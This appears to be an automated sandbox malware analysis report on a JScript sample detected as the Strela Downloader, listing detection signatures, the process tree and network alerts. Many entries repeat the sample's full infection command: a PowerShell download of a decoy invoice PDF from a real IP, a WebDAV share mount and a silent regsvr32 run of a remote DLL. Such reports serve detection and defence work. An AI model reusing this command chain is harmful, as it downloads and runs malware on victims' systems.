Edit tour

Windows Analysis Report
2906816133204732533.js

Overview

General Information

Sample name:	2906816133204732533.js
Analysis ID:	1588076
MD5:	922925a6d34c88b53ce57233b2d7185f
SHA1:	9377fa6878ccbdafd5aef4b1a6468ee54b3b13d5
SHA256:	82277d0864f46f90fe70ba66c6365855df1446e5720a0476115a31875ce23142
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2428 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5044 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7080 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2072 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1504 --field-trial-handle=1540,i,12701418644081443886,6818211592196363022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2000 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6048 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2472 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2428	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7080, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7080, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ProcessId: 2428, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6048, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ProcessId: 2428, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7080, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2000, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6048, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2472, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2000, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6048, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll, ProcessId: 5044, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:05:20.147986+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:05:18.052165+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2906816133204732533.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2906816133204732533.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:05:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:63800 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

